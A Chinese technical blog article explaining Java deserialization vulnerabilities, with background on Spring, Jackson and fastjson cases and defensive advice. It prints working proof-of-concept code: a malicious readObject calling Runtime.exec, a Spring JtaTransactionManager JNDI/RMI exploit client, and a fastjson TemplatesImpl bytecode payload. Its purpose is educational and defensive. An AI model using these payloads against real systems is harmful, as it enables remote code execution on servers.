本文转载自微信公众号「Java极客技术」,作者鸭血粉丝Tang 。转载本文请联系Java极客技术公众号。
一、背景
在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。
但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。
- DUBBO:对象传输必须要实现序列化
- RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口
而在反序列化的背后,却隐藏了很多不为人知的秘密!
最为出名的大概应该是:15年的 Apache Commons Collections 反序列化远程命令执行漏洞,当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件,直接在互联网行业掀起了一阵飓风。
2016 年 Spring RMI 反序列化爆出漏洞,攻击者可以通过 JtaTransactionManager 这个类,来远程执行恶意代码。
2017 年 4月15 日,Jackson 框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。
还有 fastjson,一款 java 编写的高性能功能非常完善的 JSON 库,应用范围非常广,在 2017 年,fastjson 官方主动爆出 fastjson 在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
Java 十分受开发者喜爱的一点,就是其拥有完善的第三方类库,和满足各种需求的框架。但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,或者在数据校验入口就没有把关好,那么受影响范围将极为广泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。
那么问题来了,攻击者是如何精心构造反序列化对象并执行恶意代码的呢?
二、漏洞分析
2.1、漏洞基本原理
我们先看一段代码如下:
- public class DemoSerializable {
- public static void main(String[] args) throws Exception {
- //定义myObj对象
- MyObject myObj = new MyObject();
- myObj.name = "hello world";
- //创建一个包含对象进行反序列化信息的”object”数据文件
- FileOutputStream fos = new FileOutputStream("object");
- ObjectOutputStream os = new ObjectOutputStream(fos);
- //writeObject()方法将myObj对象写入object文件
- os.writeObject(myObj);
- os.close();
- //从文件中反序列化obj对象
- FileInputStream fis = new FileInputStream("object");
- ObjectInputStream ois = new ObjectInputStream(fis);
- //恢复对象
- MyObject objectFromDisk = (MyObject)ois.readObject();
- System.out.println(objectFromDisk.name);
- ois.close();
- }
- }
- class MyObject implements Serializable {
- /**
- * 任意属性
- */
- public String name;
- //重写readObject()方法
- private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
- //执行默认的readObject()方法
- in.defaultReadObject();
- //执行指定程序
- Runtime.getRuntime().exec("open https://www.baidu.com/");
- }
- }
运行程序之后,控制台会输出hello world,同时也会打开网页跳转到https://www.baidu.com/。
从这段逻辑中分析,我们可以很清晰的看到反序列化已经成功了,但是程序又偷偷的执行了一段如下代码。
- Runtime.getRuntime().exec("open https://www.baidu.com/");
我们可以再把这段代码改造一下,内容如下:
- //mac系统,执行打开计算器程序命令
- Runtime.getRuntime().exec("open /Applications/Calculator.app/");
- //windows系统,执行打开计算器程序命令
- Runtime.getRuntime().exec("calc.exe");
运行程序后,可以很轻松的打开电脑中已有的任意程序。
很多人可能不知道,这里的readObject()是可以重写的,只是Serializable接口没有显示的把它展示出来,readObject()方法的作用是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,以定制反序列化的一些行为。
可能有的同学会说,实际开发过程中,不会有人这么去重写readObject()方法,当然不会,但是实际情况也不会太差。
2.2、Spring 框架的反序列化漏洞
以当时的 Spring 框架爆出的反序列化漏洞为例,请看当时的示例代码。
首先创建一个 server 代码:
- public class ExploitableServer {
- public static void main(String[] args) {
- try {
- //创建socket
- ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
- System.out.println("Server started on port "+serverSocket.getLocalPort());
- while(true) {
- //等待链接
- Socket socket=serverSocket.accept();
- System.out.println("Connection received from "+socket.getInetAddress());
- ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
- try {
- //读取对象
- Object object = objectInputStream.readObject();
- System.out.println("Read object "+object);
- } catch(Exception e) {
- System.out.println("Exception caught while reading object");
- e.printStackTrace();
- }
- }
- } catch(Exception e) {
- e.printStackTrace();
- }
- }
- }
然后创建一个 client 代码:
- public class ExploitClient {
- public static void main(String[] args) {
- try {
- String serverAddress = "127.0.0.1";
- int port = Integer.parseInt("1234");
- String localAddress= "127.0.0.1";
- System.out.println("Starting HTTP server"); //开启8080端口服务
- HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);
- httpServer.createContext("/",new HttpFileHandler());
- httpServer.setExecutor(null);
- httpServer.start();
- System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object 提供恶意类的RMI服务
- Registry registry = LocateRegistry.createRegistry(1099);
- /*
- java为了将object对象存储在Naming或者Directory服务下,
- 提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,
- 比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,
- 当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,
- 就可以理解jndi注入产生的原因了。
- */ //绑定本地的恶意类到1099端口
- Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
- ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
- registry.bind("Object", referenceWrapper);
- System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口
- Socket socket=new Socket(serverAddress,port);
- System.out.println("Connected to server");
- String jndiAddress = "rmi://"+localAddress+":1099/Object";
- //JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类
- //lookup方法会实例化恶意类,导致执行恶意类无参的构造方法
- org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
- object.setUserTransactionName(jndiAddress);
- //上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类
- System.out.println("Sending object to server...");
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
- objectOutputStream.writeObject(object);
- objectOutputStream.flush();
- while(true) {
- Thread.sleep(1000);
- }
- } catch(Exception e) {
- e.printStackTrace();
- }
- }
- }
最后,创建一个ExportObject需要远程下载的类:
- public class ExportObject {
- public static String exec(String cmd) throws Exception {
- String sb = "";
- BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
- BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
- String lineStr;
- while ((lineStr = inBr.readLine()) != null)
- sb += lineStr + "\n";
- inBr.close();
- in.close();
- return sb;
- }
- public ExportObject() throws Exception {
- String cmd="open /Applications/Calculator.app/";
- throw new Exception(exec(cmd));
- }
- }
先开启 server,再运行 client 后,计算器会直接被打开!
究其原因,主要是这个类JtaTransactionManager类存在问题,最终导致了漏洞的实现。
打开源码,翻到最下面,可以很清晰的看到JtaTransactionManager类重写了readObject方法。
重点就是这个方法initUserTransactionAndTransactionManager(),里面会转调用到JndiTemplate的lookup()方法。
可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。
也就是说,通过JtaTransactionManager类的setUserTransactionName()方法执行,最终指向了rmi://127.0.0.1:1099/Object,导致服务执行了恶意类的远程代码。
2.3、FASTJSON 框架的反序列化漏洞分析
我们先来看一个简单的例子,程序代码如下:
- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
- import java.io.IOException;
- public class Test extends AbstractTranslet {
- public Test() throws IOException {
- Runtime.getRuntime().exec("open /Applications/Calculator.app/");
- }
- public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
- }
- @Override
- public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
- }
- public static void main(String[] args) throws Exception {
- Test t = new Test();
- }
- }
运行程序之后,同样的直接会打开电脑中的计算器。
恶意代码植入的核心就是在对象初始化阶段,直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")这个方法,通过运行时操作类直接执行恶意代码。
我们在来看看下面这个例子:
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.Feature;
- import com.alibaba.fastjson.parser.ParserConfig;
- import org.apache.commons.io.IOUtils;
- import org.apache.commons.codec.binary.Base64;
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.IOException;
- public class POC {
- public static String readClass(String cls){
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
- try {
- IOUtils.copy(new FileInputStream(new File(cls)), bos);
- } catch (IOException e) {
- e.printStackTrace();
- }
- return Base64.encodeBase64String(bos.toByteArray());
- }
- public static void test_autoTypeDeny() throws Exception {
- ParserConfig config = new ParserConfig();
- final String fileSeparator = System.getProperty("file.separator");
- final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
- String evilCode = readClass(evilClassPath);
- final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
- String text1 = "{\"@type\":\"" + NASTY_CLASS +
- "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
- "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
- System.out.println(text1);
- Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
- //assertEquals(Model.class, obj.getClass());
- }
- public static void main(String args[]){
- try {
- test_autoTypeDeny();
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。
_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,只能依赖于jdk的实现,某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。
如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本会执行成功,如果是高版本的,可能会报错!
详细分析请移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/
Jackson 的反序列化漏洞也与之类似。
三、如何防范
从上面的案例看,java 的序列化和反序列化,单独使用的并没有啥毛病,核心问题也都不是反序列化,但都是因为反序列化导致了恶意代码被执行了,尤其是两个看似安全的组件,如果在同一系统中交叉使用,也能会带来一定安全问题。
3.1、禁止 JVM 执行外部命令 Runtime.exec
从上面的代码中,我们不难发现,恶意代码最终都是通过Runtime.exec这个方法得到执行,因此我们可以从 JVM 层面禁止外部命令的执行。
通过扩展 SecurityManager 可以实现:
- public class SecurityManagerTest {
- public static void main(String[] args) {
- SecurityManager originalSecurityManager = System.getSecurityManager();
- if (originalSecurityManager == null) {
- // 创建自己的SecurityManager
- SecurityManager sm = new SecurityManager() {
- private void check(Permission perm) {
- // 禁止exec
- if (perm instanceof java.io.FilePermission) {
- String actions = perm.getActions();
- if (actions != null && actions.contains("execute")) {
- throw new SecurityException("execute denied!");
- }
- }
- // 禁止设置新的SecurityManager,保护自己
- if (perm instanceof java.lang.RuntimePermission) {
- String name = perm.getName();
- if (name != null && name.contains("setSecurityManager")) {
- throw new SecurityException("System.setSecurityManager denied!");
- }
- }
- }
- @Override
- public void checkPermission(Permission perm) {
- check(perm);
- }
- @Override
- public void checkPermission(Permission perm, Object context) {
- check(perm);
- }
- };
- System.setSecurityManager(sm);
- }
- }
- }
只要在 Java 代码里简单加上面那一段,就可以禁止执行外部程序了,但是并非禁止外部程序执行,Java 程序就安全了,有时候可能适得其反,因为执行权限被控制太苛刻了,不见得是个好事,我们还得想其他招数。
3.2、增加多层数据校验
比较有效的办法是,当我们把接口参数暴露出去之后,服务端要及时做好数据参数的验证,尤其是那种带有http、https、rmi等这种类型的参数过滤验证,可以进一步降低服务的风险。
四、小结
随着 Json 数据交换格式的普及,直接应用在服务端的反序列化接口也随之减少,但陆续爆出的Jackson和Fastjson两大 Json 处理库的反序列化漏洞,也暴露出了一些问题。
所以我们在日常业务开发的时候,对于 Java 反序列化的安全问题应该具备一定的防范意识,并着重注意传入数据的校验、服务器权限和相关日志的检查, API 权限控制,通过 HTTPS 加密传输数据等方面进行下功夫,以免造成不必要的损失!
五、参考
1、seebug - 深入理解 JAVA 反序列化漏洞
2、博客圆 - Afant1- Spring framework 反序列化的漏洞
3、技术博客- FASTJSON 远程反序列化程序验证的构造和分析